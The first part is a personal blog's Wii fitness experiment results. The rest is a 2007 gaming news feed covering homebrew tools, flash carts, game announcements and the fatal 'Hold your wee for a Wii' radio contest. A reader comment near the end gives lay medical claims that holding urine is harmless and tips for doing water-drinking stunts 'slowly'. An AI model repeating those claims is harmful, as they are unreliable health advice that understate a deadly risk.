- Calories burned per session/per game (via BioTrainer, thanks Nancy!)
- Body fat % (via a Digital Body Fat Caliper and a body fat scale)
- Heart Rate (at rest)
- Wii Fitness Age
- Additional Notes/Soreness
BMI (Body Mass Index):
- Before: 25.2
- After: 24.0
According to the Heart Lung and Blood Institute, my BMI indicated I was overweight before I started and now I’m at a normal BMI. There is one catch though, your BMI is meant to broadly categorize populations for purely statistical purposes. So, its accuracy in relation to actual levels of body fat is easily distorted by such factors as fitness level, muscle mass, bone structure, gender, and ethnicity. So, take these readings with a grain of salt…
On a more obvious note, my waist (around the belly button/gut) went from 34.5″ to 31″.
Calories:
For my experiment I stuck to four main games and my fitness test (which will randomly choose a game). I did calorie experiments for the following, here is what I found after averaging 15 minutes of “aggressive” play during 3 different days.
- Tennis: Coming in a close second, Wii Tennis was the runner up in calorie burning activities for Wii Sports. I burned an average of 92 calories during a 15 minute period. Like most of my game playing during the experiment I played each game fairly aggressively and would perform full swings, move left and right, and not take any breaks.
- Bowling: One of my favorite Wii Sports games also clocked in at the lowest of the three games I tested for calorie burn. I burned an average of 77 calories during a 15 minute period. Again, I played aggressively, taken steps toward the lane and bowling with a full swing of the arm. No breaks were taken and I played the game fairly quickly.
- Boxing: The clear winner here. I burned and average of 125 calories during a 15 minute period. I would like to point out that I would punch with full power, move as if I were really dodging, and hoped/bounced around like a real boxer would.
Body Fat %:
For most fitness guru’s and I guess the real question here, was “How much body fat did I lose?” The answer, a fairly significant amount. I took my body fat once a week (sometimes twice) using two methods, one was a Digital Body Fat Caliper and the other a body fat scale. I averaged the readings of the two and here are the results:
- Before: 19%
- After: 17.2%
According to The American Council on Exercise, I went from being in the “acceptable” category to being in the “fitness” category. This data really shows a lot of what I accomplished. I lost almost 2% of my body fat by doing nothing more than playing video games for an extra 30 minutes everyday.
My goal now (after the experiment has ended) is to get to 14% body fat, and I’ll be doing that by continuing my experiment even after it’s over. It’s funny how once you start something that you HAVE to do everyday, you begin to miss it if you don’t do it, even if you find it tiring or unpleasant. (Reminds of the kid in the book “How to eat fried worms” and how he continued to eat worms even after his bet was over.)
Heart Rate:
To be honest with you I only checked this when I started and when I stopped, so I don’t think the results are as rock solid as some of the others, non-the-less I saw a slight decrease in my resting heart rate.
- Before: 82
- After: 68
Wii Fitness Age:
This really has nothing to with actual fitness, considering a lot of the games score your Wii Fitness Age based on skill more than your fitness or endurance levels, even so I started at a fitness age of 46 and then after that I never went below 30 for the entire six weeks. I hit the lowest Wii Fitness Age on January 4th, with an age of 20.
Some other quick Wii stats: I’m Pro in Tennis with a 1876 score, pro in Bowling with a score of 1345 (high score 257, should be 300, but my dogs got in my way!), pro in boxing with a score of 1120.
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January 16th, 2007, 20:00 Posted By: wraggster
WFCStatus by Kevin is a status viewer for Nintendo's WiFi connection. It basically reads all the data from Nintendo's website without loading tons of animations and images in a browser.
Features
Global Wi-Fi Gaming Service Status
Online status for 11 gamehubs
Gamehub Player Stats (Top 5 Most Active & Player Logins)
Overall Gaming Stats (Top 5 Most Active & Player Logins)
Detailed Day vs. Night Activity graphs for all games
Now Online! Showing 20 random online gamers
Get notified when your nick shows up in Now Online! (11 games)
View stats for more than 50 wi-fi enabled DS and Wii games
View stats and online players for homebrew wi-fi games (OMalone 2 )
View the Last 20 Tetris DS Scores
Animal Crossing Wild World Events Calender
Easy DS and Wii Errorcode Submit
Runs in system tray
Heres whats new:
- Added 5 DS games Dragon Quest IX: Protectors of the Starry Sky, Rune Factory: A Fantasy Harvest Moon, Seiken Densetsu: Heroes of Mana etc
- Added timeouts for loading stats to prevent crashes
- Updated 2 boxarts
Download and Give feedback Via Comments
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January 16th, 2007, 20:00 Posted By: wraggster
WFCStatus by Kevin is a status viewer for Nintendo's WiFi connection. It basically reads all the data from Nintendo's website without loading tons of animations and images in a browser.
Features
Global Wi-Fi Gaming Service Status
Online status for 11 gamehubs
Gamehub Player Stats (Top 5 Most Active & Player Logins)
Overall Gaming Stats (Top 5 Most Active & Player Logins)
Detailed Day vs. Night Activity graphs for all games
Now Online! Showing 20 random online gamers
Get notified when your nick shows up in Now Online! (11 games)
View stats for more than 50 wi-fi enabled DS and Wii games
View stats and online players for homebrew wi-fi games (OMalone 2 )
View the Last 20 Tetris DS Scores
Animal Crossing Wild World Events Calender
Easy DS and Wii Errorcode Submit
Runs in system tray
Heres whats new:
- Added 5 DS games Dragon Quest IX: Protectors of the Starry Sky, Rune Factory: A Fantasy Harvest Moon, Seiken Densetsu: Heroes of Mana etc
- Added timeouts for loading stats to prevent crashes
- Updated 2 boxarts
Download and Give feedback Via Comments
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January 16th, 2007, 20:28 Posted By: wraggster
via dsfanboy
With this new barrage of Sim City DS images comes a nifty piece of information -- players will be able to trade certain city elements over WiFi. That does add an interesting spin to portable city building, and we can't wait to hear more about it. In the meantime, however, screens!
Screens Via Comments
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January 16th, 2007, 20:36 Posted By: wraggster
News/release from Grizzly Adams
What is it?
A network remote control for MythTV frontends. Be sure you look at the readme for install instructions.
Button mapping:
DPAD - Navigation
A - Select
B - Back
X - Vol +
Y - Vol -
Features:
Automatic LCD backlight off.
Three pages of touchscreen buttons.
Network update (upload a new .nds using netcat)
Support for latest DSLite wifi hardware (using DSWiFi CVS)
Return to menu (libCartReset)
Three Frontend IP Configurations (configurable at runtime)
Future plans:
LCD backlight fade
Customizable touchscreen panels & button mapping
Autoconnect (Connect to Frontend 1 at startup)
Skinnable GUI
MythTV Status Polling
Automatic sleep & poweroff
Automatic updates (off by default)
Changes:
Fixed LCD sleep bug in main menu
Fixed IP Config input bug
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January 16th, 2007, 22:16 Posted By: wraggster
Via IGN
Today Namco Bandai announced that Tamagotchi: Party On! for the Wii will be coming to North America this Spring. Party On! is a port of the Japanese launch title Tamagotchi Pika Pika Daitouryou, or Tamagotchi's Sparklilng President. The party game set in the Tamagotchi universe supports up to four players in a race to become the most popular Tamagotchi on Tamagotchi Planet.
"Tamagotchi Party On! is a seamless blend of both party game and board game as players swing, shake, and turn their Wii controllers in order to control their favorite Tamagotchi," said Naruo Uchida, Namco Bandai's Vice President of Localization. "It's the wackiest and cutest popularity contest ever as up-to-four players compete in fun mini-games to become the president of Tamagotchi planet."
Party On! allows players to choose their favorite virtual pet and either challenge their friends or go solo in over 15 mini-games that include shaking hands, finding lost children, and testing your public speaking skills. In order to win the election, players will have to call upon every politician's favorite political tool: the Wiimote.
Gamers can also use Gotchi points that they earn along the way to level up their characters and customize their campaign headquarters. With over six towns to win over and loads of popularity points to be earned, Tamagotchi Party On! hopes to inject some fun into politics. In Namco Bandai's own words: "Be happy! Be popular! Be president!"
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January 16th, 2007, 22:17 Posted By: wraggster
Via IGN
Publisher Ubisoft today announced that it is underway with a new property for Nintendo's Wii console. The game, called Cosmic Family, is a "space adventure geared toward young children," according to the company. It's being developed by Ubisoft's Barcelona studio and will ship around the world later this year.
"Cosmic Family is a great title for young Wii players and their families, with simple point-and-click controls that will be easy to learn and provide the freedom to navigate wherever players choose to go," said Tony Key, vice president of marketing at Ubisoft. "Families will enjoy playing this game together, as it unfolds more like an interactive adventure than a traditional video game."
In Cosmic Family, players interact with Mom and Dad Cosmic, as well as Big Sister, two small children, a dog, a cat, and a variety of monsters. The title throws a series of mini-games - more than 15 spread out across the five floors of the rocket house - at gamers. Minis include everything from piloting a rocket ship to brushing a monster's teeth, dressing up characters and nurturing plants. The selection of minis will undoubtedly make full use of the Wii remote. Ubisoft believes that Cosmic Family will "improve children's memory, hand-eye coordination, creativity and imagination."
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January 16th, 2007, 22:21 Posted By: wraggster
Via IGn
Developer Nibris has announced it is working on a new DS title called Double Bloob, an arcade action game that appears to play similarly to the Capcom classic Buster Bros. Bloob's action takes place on one playing field with the player at the bottom and multi-colored blobs dropping from above. The player uses a harpoon to pop the Bloobs, which split into two globs until they are a small enough size to be completely destroyed.
As for your motivation, Double Bloob tells the story of a brother and sister team, Aen and Niua, who are out to save their dolphin friend Pongo. Pongo has been kidnapped by the Great Nasty Bloob. You will set out across 100 levels to rescue your friend, popping blobs and collecting bonuses along the way. Bonuses include dual-shot, a freeze item which stops the blobs for a few seconds, and a shield which makes the player invincible.
There are also antibonuses, though, including slowdown (slows player's movement), no shot (blocks player's ability to shoot for a moment), and antipoint (subtracts points from player's score).
As you destroy blobs you'll charge your super attack, which fires five harpoons at once. Shooting two bloobs within a second gives you double points.
Bloobs come with a variety of skills such as vanishing bloobs (which disappear periodically), sticky bloobs (which can combine to form bigger globs), and rock bloobs (made of a harder material and more difficult to destroy).
Double Bloob is being developed by Nibris, the Nintendo loyalists also working on Raid Over the River for the DS and Sadness for the Wii. Look for the Bloobs to drop in Q2 2007.
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January 16th, 2007, 22:24 Posted By: wraggster
Via IGN
One of the biggest sellers for the Japanese DS late last year was Sega's Oshare Majo Love and Berry, a port of a girls oriented arcade card game. In order to replicate the arcade version, the DS version came bundled with a card reader device that plugged into the Game Boy Advance cartridge slot on the DS. The Oshare Magic Cards from the arcade version could then be used both for the DS and arcade versions of the game.
Today's news concerns those who love their Love and Berry but aren't interested in playing the arcade version. Starting 1/24, Sega Japan will begin selling the Oshare Majo Love and Berry Official Card Packs. Pricing is set at 210 yen for a pack of three cards. These cards can be used both with the arcade and DS versions of the game.
Included in the official set are 39 card types, selected from the various arcade card collections that have been released so far. On top of that are 31 rare cards and 8 super rare cards, totaling 78 card types, included at random.
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January 16th, 2007, 23:03 Posted By: wraggster
via aeropause
These little DS ripoff keychains are called Revolve Games (or RG for short) and claim to have 26 different games, with each game having 99 levels, although games L-Z all seem to be variations on Tetris - excuse me, I mean Block Game. It also includes such compelling titles as Pinball, Double Pinball, Frog Game, Formula, and Tank Fighting. They also come in 8 colors, but are randomly packaged. From the pictures, it appears the top "screen" is actually just a mirror, and all gaming takes place on the bottom screen. Oh, and it uses watch batteries that you can change yourself, too. Only $6.20 USD. Gotta love that Engrish, though.
More Info
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January 16th, 2007, 23:17 Posted By: wraggster
Some new screenshots have been released for the game Tamagotchi Party On!.
Check them out via comments
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January 17th, 2007, 07:42 Posted By: wraggster
The official one is a swine to get hold of but luckily Datel are here to the rescue, heres the details:
features
Connect your Wii to the internet via cable network.
USB 2.0 connection to your Wii.
Plugs into DSL/cable modem or router.
Includes 6ft patch cable.
Faster connection than WiFi.
description
Link your Wii to your current network!
You’ve got a Nintendo Wii. You have a broadband internet connection on your PC. You’ve heard about all the fun things you can do online with your console. Yet when it comes to connecting your Wii to the net, you don’t know where to start. You need the Wii LAN Adapter…
With our amazing new LAN Adapter for the Nintendo Wii, you can create a wired high-speed internet connection for your console. Just plug the Adapter into your Wii, and then connect it to your PC’s DSL or Cable modem or your router using the six-foot patch cable supplied. It’s as simple as that!
Because Wii LAN Adapter uses a cable connection, it always offers a high-speed, reliable connection. It’s ideal for places where wireless connectivity isn't possible, perhaps because of thick walls or interference from other products. At last, you can enjoy uninterrupted online gaming!
More Info /buy here --> http://www.play-asia.com/SOap-23-83-...j-70-1slw.html
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January 17th, 2007, 18:13 Posted By: wraggster
via cvg
KDND 107.9, The US radio station whose 'Hold your wee for a Wii' contest led to the death of a mother of three, has fired 10 staff involved - including five on-air personalities - after reports suggest that they made jokes after listeners expressed concerns over water intoxication on air.
According to The Sacramento Bee, one listener had phoned it to point out the danger only to be told that the station was "aware" of it, while another host joked that contestants had signed a release, "so we're not responsible".
"We got a guy who's just about to die," a reporter with the contestents said. "Make sure he signs the release," the radio host replied.
Of course the banter eventually took a bitter irony as 28-year-old Jenifer Strange complained of a headache and was later found dead in her home in Sacramento California - the cause of death found to be water intoxication.
But despite the distasteful nature of the contest local sheriffs said that there are no grounds for a criminal investigation: "It's not as if she was somehow in their custody and they had a role to care for her. Rather, it was an invitation to a contest that was clearly ill- advised. She was exercising her free will," Sacramento County Sheriff John McGinness told the Bee. "If there's anything to suggest a criminal act by anyone involved in this, we'd pick it up and run with it."
the word idiots comes to mind, my heart goes out to the husband and children of the poor women involved
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January 17th, 2007, 18:16 Posted By: wraggster
via cvg
a small number of gamers playing the latest of Link's epic adventures, Twilight Princess on Wii, have encountered a glitch that permanently blocks their way forward, essentially forcing them to start again.
According to one forum post, it would appear that saving your progress at a specific point in the game (look away if you're avoiding spoilers) - right after thawing out the frozen Zora's domain - activates the glitch which prevents a subsequent cutscene, in which a new path is opened, from being triggered.
This prevents the player from being able to reach their next objective, and because this glitch occurs after saving your progress, your save file is essentially rendered useless. Those without an alternative save file are forced to start again.
If you've come across this, or any other glitch in Zelda, let us know in the Comments section below.
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January 17th, 2007, 18:22 Posted By: wraggster
Despite growing speculation (and belief) that Driver: Parallel Lines is currently in devlopment for Wii, Ubisoft remains defyant in our plees to confirm its existence.
Rumours of the Wii port surfaced when it appeared in what internet reports claimed to be a leaked Ubisoft release list.
The then unheard of Cosmic Family, which also appeared on the same list, was officially announced yesterday, lending weight to the list's accuracy.
CVG contacted a Ubisoft correspondent today regarding the matter, and although they declined to confirm the rumour, they did say we can "expect Ubisoft to make announcements later this month."
With EA's Godfather confirmed to be Wii-bound, it seems there'll be no lack of urban gangster games on Nintendo's new console.
via cvg
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January 17th, 2007, 18:42 Posted By: wraggster
via gamesindustry
As the Interactive Entertainment Association of Australia prepares to release 2006 software and hardware figures, Sony and Nintendo have both announced strong sales in the territory.
According to Sony, more than 2.2 million PS2 units have now been sold in Australia. During the fourth quarter of 2006, PS2 accounted for 56 per cent of all home console sales and 71 per cent of home console software sales.
In the same period, combined PS2 and PSP sales accounted for 42 per cent of all consoles purchased.
But the DS was the best-selling console of 2006, according to GfK Australia figures quoted by Nintendo. The Wii is also said to be performing well, with 50,000 units shifted in the three weeks following the console's launch on December 7.
Microsoft Australia has yet to release a statement regarding 2006 Xbox 360 sales. However, the console got off to a strong start when it launched in March, with 30,000 units sold in just four days.
IEAA is set to release full sales figures by the end of the week.
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January 17th, 2007, 18:44 Posted By: wraggster
via gibiz
Consumers looking to buy a PlayStation 3 in the US have multiple outlets to choose from, as over 50 per cent of all stores surveyed have units in stock.
Compared to the Nintendo Wii, which is in short supply in all regions across the globe, the PS3 is readily available in specialist and electrical retailers across North America, where Sony recently announced it had shipped a total of one million units.
"Our channel checks yesterday of 52 retail stores, from boutiques to big-box retailers, showed that 28 of the 52 stores had PS3 consoles in stock, while none had Wii consoles in stock," said PJ McNealy of American Technology Research.
While some have suggested the amount of stock available may be indication of slowing demand, Sony's David Karraker disputes the idea, instead pointing out that the company is doing such a good job of supplying retailers with available units.
"It isn't because demand has weakend, it is because we have kept the supply pipeline moving," Karraker told Reuters.
New hardware traditionally suffers from short supply at retail, as the demand from early-adopting consumers is fulfilled.
Microsoft's Xbox 360 came under increased pressure from retail following its launch in 2005, with supplies limited through the first quarter of 2006.
Despite the amount of PS3 units on store shelves, PJ McNealy pointed out that high levels of stock didn't not neccesarily indicate slow demand.
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January 17th, 2007, 18:56 Posted By: wraggster
via gizmodo
A reliable tipster says Best Buy plans to unleash at least 15 Nintendo Wii consoles at each of its brick-and-mortar locations on Sunday, January 21. Word has it there may even be from 35 to 45 consoles for sale at each location. However, when we contacted a Best Buy store manager in the area, he had no knowledge of any such shipment forthcoming, but said it certainly was a possibility since he'd received plenty of PS3 shipments lately but "no Nintendo Wii units in a long time."
Will Wii fanboys line up outside Best Buy stores coast-to-coast in hopes of scoring their favorite gaming console this Sunday morning? Maybe where you are, but here the Midwest, where temperatures are expected to be in the single digits on Saturday night, it seems unlikely. Around here, the Best Buy stores open at 11am on Sunday morning, so that would be a really long night.
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January 17th, 2007, 19:18 Posted By: wraggster
Seems lately the only time we post something about the Germans is when something bad goes down. So in the interests of parity, here's some more light-hearted news from the Fatherland: they like the DS. A lot.
The DS sold 500,000 units in 2005, which was alright, but in 2006 they sold a further 1,000,000, which is better. Combined with the GBA that has Nintendo owning 80% of the German handheld market (what, no Gizmondo love, Germany?).
Probably most interesting, though, is the claim by Nintendo (so take some salt with it) that 44% of German DS owners are female. That's staggering.
via kotaku
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January 17th, 2007, 19:20 Posted By: wraggster
via kotaku
Japan's NTT Docomo unveiled a horde of new handsets, including this white dual screen clamshell from Mitsubishi. Jumping on the "Touching is Good" bandwagon, the bottom screen is a *surprise* touch screen (sound familiar?). With The Land of the Rising Sun gobbling DS Lites as soon as they hit store shelves, can't blame Mitsubishi for skiing in Nintendo's wake. What else, the cellie's a FOMA branded mobile, which means that it definitely doubles as a video phone as well, but probably not a music player. And the name of this product? Why, it's the D800iDS.
Screens Via Comments
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January 17th, 2007, 19:31 Posted By: wraggster
New from SuccessHK
It is a durable carry bag designed for the Wii console. It provides slots for placing the Wii console, games, controllers, and other accessories. Although the weight is light, it provides a full protection to your Wii set.
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January 17th, 2007, 19:33 Posted By: wraggster
New from SuccessHK
It is a durable carry bag designed for the Wii console. It provides slots for placing the Wii console, games, controllers, and other accessories. Although the weight is light, it provides a full protection to your Wii set.
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January 17th, 2007, 19:36 Posted By: wraggster
New from SuccessHK
It is made of high quality leather which provide comfortable feeling when wearing. It is compatible with Wii remote controller and prevent the controller from sliding off your hand and break the nearby things.
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January 17th, 2007, 20:00 Posted By: wraggster
Walaber has posted an update to his Wiisticks project
Heres whats new:
new version supports more bluetooth stacks, and allows turning the sticks side to side!
Heres the info:
WiiSticks is my first attempt at combining input from a Wii remote and physics simulation. In the game the user holds 2 wii remotes (or 1 remote with a nunchuck attachment), and flips and spins a rod back and forth between 2 sticks that they control directly with the remote. The input is very intuitive, even providing basic force feedback (the controller rumbles on contact with other objects).
A release version will be available soon. Requires a bluetooth adaptor for your windows PC, and at least 1 Wii remote + Nunchuck, or 2 Wii remotes.
FEATURES
intuitive controls feel "like the real thing"
fully playable with only the wii remote (no mouse or keyboard required)
expandable design means more sticks can be added easily
REQUIREMENTS
Windows XP
3D accelerated video card with current drivers for DirectX or OpenGL
Bluetooth adaptor / bluetooth capability
2 Wii remotes (alternatively 1 wii remote + nunchuck attachment)
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January 17th, 2007, 21:12 Posted By: wraggster
CLShortFuse posted this news/release for the DSXtreme:
DS-X Manager
The point of this program is to facilitate the use of your DS-X. This allows you to trim roms (to save more space) when copying to the DS-X. It's meant to be like a syncing application, as you would use iTunes/Winamp for your MP3 player.
v0.2.4
------
Supports Zip files
Asynchronous Transfers
Just download it and try it. It's less than 100KB.
Notes on colors in DS-X window.
Green = Trimmed to smallest, safest size possible
Yellow = Can be trimmed more
Red = Overtrimmed
*REQUIRES .NET FRAMEWORK 2.0
Changes in v0.2.6.1
Set Game Icon back to first column as default
Resorting of column is saved on exit
Missing files aren't displayed in the library
Version number is displayed on form
To do list
Move Sync List to tree view
Give TreeView different appearance (probably buttons Outlook Style)
Add Total Queue Size to StatusBar
Add right click functionality to .nds files in explorer
Internet Updates
Fix Resizing
Finish implimenting custom lists
Finish Card Size Filtering
Fix Size Sorting on the table
Create "View More Info..." Dialog box
Use the unused CRC code (will be used in "More Info")
Save Support (should be next version)
Insert Country Flags
Make option of Japanese, English, French, German, Italian, Spanish as default Game Title language
Please note, v0.2.6+ is more complex compared to v0.2.4
If you're not so deadset on rar support, rom caching and a permanent library, use v0.2.4
Don't forget to download the DLLs (if you don't have them) and put them in the directory.
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January 17th, 2007, 21:32 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
0.3.1.4a released
Sorry for the delay between releases, Im busy organzing to move and also sourceforge wouldnt complete my uploads for a few nights (releases made on forums instead).
WiinVi 0.5 theme included
WiipaperMV 0.3 included
all themes patched to use new vidplayer and new configuration method (old 1s backed up).
you can configure the following from WiiCR now: enc_exe, flvtool_exe, enc_opts, duration, drives.
implemented navarrs plugin idea for tpls eg index.pl?action=tpl&id=config
shifted several subroutines to a pm.
no need to config flvprovider.php anymore
encode.pl figures out if your using ffmpeg or mencoder, no need to edit anymore (usefull for our encoder testers).
misc stuff done to test.pl
Introduced VPB's modified flashplayer on icons1
using VPB's encoder options
segments currently set @ 5min (300 seconds)
source for modified player included
source for clear_mencoder_error included
tools (mencoder, flvtool etc) shifted to xampp/wiicr_tools
removed old encoder options from config.pl and placed them in alt_ecode_options.txt
Download Here --> http://wmc.sourceforge.net/wiki/index.php/WiiCR
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January 17th, 2007, 21:35 Posted By: wraggster
Version 2.0 of Mii Mega Mall has been released, heres the full details:
One thing almost every Nintendo Wii owner has in common is an overwhelming attraction to Mii characters. Mii sharing is huge, but the mechanism that Nintendo has provided for exchanging Mii is clunky and slow. That's where we come in. Utilizing the brilliant MiiTransfer technology, we have built the first and only integrated solution to Mii sharing. That solution is the Mii Mega-Mall.
Now, instead of having to exchange console numbers and register with each other, you can use the Internet to share and exchange Miis. The Mii Mega-Mall is a single, streamlined approach that allows just that. It provides a single access-point, with a unified, consistent interface for sharing and retrieving Mii over the Internet.
Everything that you need is included. It features
Mii Preview -New
Image Uploading -New
Rating System -New
Community Policing -New
Column Sorting -New
Built-in RSS capabilities
Download Mii from the Mega-Mall
Multiple simultaneous downloads
Transfer downloaded Mii to your wiimote (using Bluetooth)
Copy Mii from your wiimote to your PC (using Bluetooth)
Upload your own Mii to the Mii Mega-Mall to share with others
In order to provide the most complete package possible, we have collaborated with the biggest names in the Mii-sharing business: Mii Plaza.net and the Mii Transfer Station. Both of these Mii-sharing powerhouses supply RSS feeds to the Mii Mega-Mall. Simply start the application and browse their collections. Find something you want and download it immediately to your PC. You can even download multiple Miis at once. But what good is downloading it, if you can't get it to your wiimote? Fear not, as the tool also allows you upload right to your wiimote (up to 10 at once). There's more. I'm sure most of you have heard of Mii Like Wii.com. They are, hands down, the best Mii tutorial Site out there. They have given us access to their full range of tutorials and they are in the process of creating and uploading their submissions into the Mii Mega-Mall.
Do you have Mii that you want to share with the world? This same tool allows you to copy Mii from your wiimote to your PC and then lets you upload them directly to the Mii Mega-Mall!! That's right, you can share your artistry with the Mii-sharing universe.
Download Here --> http://www.miimall.com/
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January 17th, 2007, 22:03 Posted By: wraggster
via dsfanboy
For those of you looking forward to Hotel Dusk: Room 215 as much as we are, you'll be pleased to know that the Japanese website for the game has updated with a new commercial. The commercial is fairly short, but does a wonderful job of presenting some of the puzzles to be expected, as well as the amazing hand-sketched, noir style that got us interested in the first place. The commercial also presents a large amount of characters that the player is expected to interact with.
More Info
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January 17th, 2007, 22:05 Posted By: wraggster
via dsfanboy
Now that we've seen what the magazines have to say, it's high time we checked in with the various sites of the world wide webtron. With mostly favorable reviews of the title (natch), we're glad we do not have to enter the tubes ourselves and personally kill any online entities responsible for bad-mouthing our favorite Ace Attorney.
At the time of this post, we don't have all of the online reviews yet (1UP and IGN), but once they've posted them, we'll come back and update this post.
Gamespot (77/100) says it's more of the same and doesn't innovate: "Justice for All is a good, lengthy adventure with great character-driven storylines, but it fails to build upon the promising groundwork laid by the first game."
Games Radar (80/100) is quick to call it a great follow-up to the previous game: "The charm and clever logic puzzles are still here, and the cases deliver the same charge-back-from-the-edge-of-defeat rush that made the first game so cool. Whether you're a fan of the original or a newcomer to Wright's bizarre legal world, you won't be disappointed."
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January 17th, 2007, 22:09 Posted By: wraggster
Angor has updated his game for the Nintendo DS:
Heres the details:
Hi all!
I have updated my DSameGame game to version 2.0 and released it. Main changes from the previous version are:
- New graphical game environment based on menus
- Basic sound added
- User selectable game tileset ::
- Configuration menu operational
There is still work in progress in this version, so you might notice other menus present and not yet operational. Probably they will in next versions...
Angor
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January 17th, 2007, 22:23 Posted By: wraggster
News from Neoflash
the MK5 ready,start for sell now!
SPEC:
* Support clean rom,not need any patch,just need drag and drop the clean rom
* memory size from 8Gbit ~ 64Gbit
* USB 2.0 high-speed data transfer
* USB disk function, just need drag and drop the rom to MK5 then can play
* build in the last moonshell V1.5
* support homebrew
* build in SMS function, auto save
* support ALL rom,game compatibility = 100%
* menu upgrade able,just need drag and drop the new core to MK5
* multi rom support,multi save support
* MK5 turbo engin, 100% full game running speed ,without any delay
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January 17th, 2007, 22:29 Posted By: wraggster
Digital Learning Solutions have released a new game for the Nintendo DS, heres the details:
Total Recall
Total Recall™ is an electronic training tool designed to address the memorization needs of our clients. Building upon established learning aids and techniques, Total Recall™ is fundamentally an enhanced electronic flashcard style learning aid that is capable of measuring confidence levels for identifying which cards require the most attention. The revolutionary Confidence Engine™, based loosely on the Leitner system for traditional flashcards, allows the stack of electronic flashcards to be resorted to take advantage of spaced repetition memory techniques. Audio and other linked content can also be utilized.
Total Recall for Nintendo DS
Total Recall DS utilizes the intuitive dual screens and touchpad for the perfect mobile memorization suite.
Requirements: Additional hardware is required to run homebrew software on the Nintendo DS.
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January 17th, 2007, 22:57 Posted By: wraggster
via ign
Today Namco Bandai announced that it has a new brain teaser in the works for the DS called QuickSpot. A game of concentration, the player's objective is to spot the differences between two nearly identical pictures and circle them on the touch screen, much like that Photo Hunt game down at your local watering hole (no word, yet, on whether or not Namco Bandai will be including an Erotic QuickSpot mode).
QuickSpot contains three single player modes: Rapid Play, Focus Play, and Today's Fortune. Rapid Play sends players through five levels, each containing 10 stages and a boss at the end of each level. Players win medals for solving puzzles and raising their "Brain Activity". Brain Activity is based on Intuition, Concentration, Recognition, Stability, and Judgment. Focus play contains 140 pictures with 10 differences each for the player to spot, and Today's Fortune gives the player their Health, Study, Romance, and Money fortune for the day.
QuickSpot also includes three multiplayer modes: Time Bomb, Scramble Mode, and Download Play. In Time Bomb up to eight players pass one DS around between turns, whereas Scramble Mode and Download Play allow players to compete against each other on multiple systems.
QuickSpot is based on a Japanese game called Machigai Museum. For the US version, Namco has replaced many of the cute but obscure Japanese art with more recognizable (and still often cute) images from classic Namco videogame favorites. For some extra fun while you're waiting for QuickSpot to come out, take a look through our image gallery and see if you can match which pictures are from which game. (HINT: The one with the cars isn't R:Racing Evolution.)
QuickSpot will be testing your attention to detail this spring.
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January 18th, 2007, 13:46 Posted By: Jane
Sorry but I did not get a chance to post my opinion.
Very sad indeed, about the woman died after she drank too much water too fast in the California contest.
To give you an idea of what likely happened in this case. When you drink too much water like what she must have done it is possible to get water intoxication which causes among other things swelling in the cells as well as an imbalance of the bodies electrolytes. The swelling of the cells causes increased pressure on the brain cells, heart etc.
As far as not going to the bathroom well that in it self would not kill someone but can lead to bladder or UTI's, (Urinary tract infections). It is not likely that toxins would build up as the Kidneys will filter very well, in a normally healthy person. Actually your ability to hold your bladder full to the point of harm, other than possible infections, is not likely. What happens is that you get urges to pee in intervals that get stronger. There are 2 sets of muscles for the bladder. The first set of muscle is the "internal urethral sphincter" which we cannot control and when it decides to open we then rely on the "external urethral sphincter" which is the hold it muscle we control and use until we get to a bathroom. When the need to pee is strong and is present a long time the pressure on the external muscle is great and thus it becomes tired. Like any muscle in your body the more you use it the faster it gets tired. Many can hold it for some time but sooner or later that muscle will become so tired that you start to lose feeling and will start to leak to the point of wetting your pants. So therefore it is most unlikely that anyone can harm themselves by holding their pee too long, except infection, as no matter how hard you try you will pee one way or another.
The only way to do this is to do it gradually and even though it is not suggested anyone do this drinking water over a long period of time to test ones endurance and to see who runs to the bathroom first. Too much water in short periods of time is not good at all.
My suggestion if you must try this type of thing do it slowly and make sure that as you reach the bursting point you are close to a bathroom cause once you pass that point where you cannot hold it in you will be soaked if not careful.
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January 18th, 2007, 19:18 Posted By: wraggster
via engadget
4GB in an miniSDHC card? We scoff at the audacious bulk of such a memory device! See, only microSD can cut it anymore around the Engadget HQ, now that Kingmax has squeezed 4GB of flash memory into a microSDHC card -- champions of lesser memory formats will be shot on sight. Plus it's not just the capacity getting boost, performance has hit new highs as well, with 22.5MBps dual channel read speeds (150x) and normal read speeds of 19.1MBps (127x). That means the card can pull off SD 2.0 speeds in your digicam, while still making for a real kicker of a memory expansion for your phone or media player. Don't bother with looking for a price or availability date, we just pre-ordered the entire first run.
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January 18th, 2007, 19:29 Posted By: wraggster
via gamespot
The death of a 28-year-old woman who entered a California radio station contest to "Hold your wee for a Wii," has become the basis of a criminal investigation, reports Reuters.
Jennifer Strange, who lived in Rancho Cordova, had been trying to win one of Nintendo's new consoles for her kids. During the competition, which challenged contestants to drink as much water as they could without going to the bathroom, she got through an estimated two gallons of water.
After the radio show, she called in sick to work, and was later found dead at her suburban home by her mother. The initial findings of the coroner said the death appeared to be consistent with water intoxication.
Initially, County Sheriff John McGinness had said that there were no plans to open a criminal investigation, since Ms. Strange had entered the contest on her own free will.
But in audio recordings which have been posted on the Internet, the DJs are heard joking about contestants dying of water intoxication, even referencing the death of Matthew Carrington, a student who died after drinking too much water during a fraternity hazing. A caller, who identified herself as Eva, also phoned in to the show to warn that the stunt could kill, but she was dismissed by being told that contestants had "signed releases, so we're not responsible."
In light of the new information from the audio tapes, an investigation has been launched, stated a spokesperson for the Sacramento County Sheriff's Department.
Sgt. Timothy Curran said, "We have decided we will open a death investigation which will take weeks and on conclusion our findings will be forwarded to the local district attorney to decide whether to lay criminal charges."
KDND 107.9 has also fired 10 staff, including five on-air personalities, over the incident, as part of its own investigation.
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January 18th, 2007, 22:18 Posted By: wraggster
via cvg
Rare needs to stop teasing us with the drip-fed screenshots of the awesome-looking Diddy Kong Racing DS, and get it out the door.
These fresh images show, for the first time, the brand new course editor which, by the looks of it, will allow you to draw a course on the touch screen.
It's great to see some of the other worlds in full swing, further confirming how great the game is going to look on the small screens.
DKRDS is not due out here until late 2007, but never mind that because it hits the US on February 5 and, as you may already know, there's no region locking on DS. Yes, you need to get on the import bandwagon.
SCreens Via Comments
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January 18th, 2007, 22:34 Posted By: wraggster
Everyone's favourite bubble-wranglin' dinosaurs are back on the scene in Bust-a-Move Bash! and set to make their Wii debut soon. To get you psyched for all the spherical action coming your way, we've got a bunch of new screens for you to enjoy, so hit the images tab above.
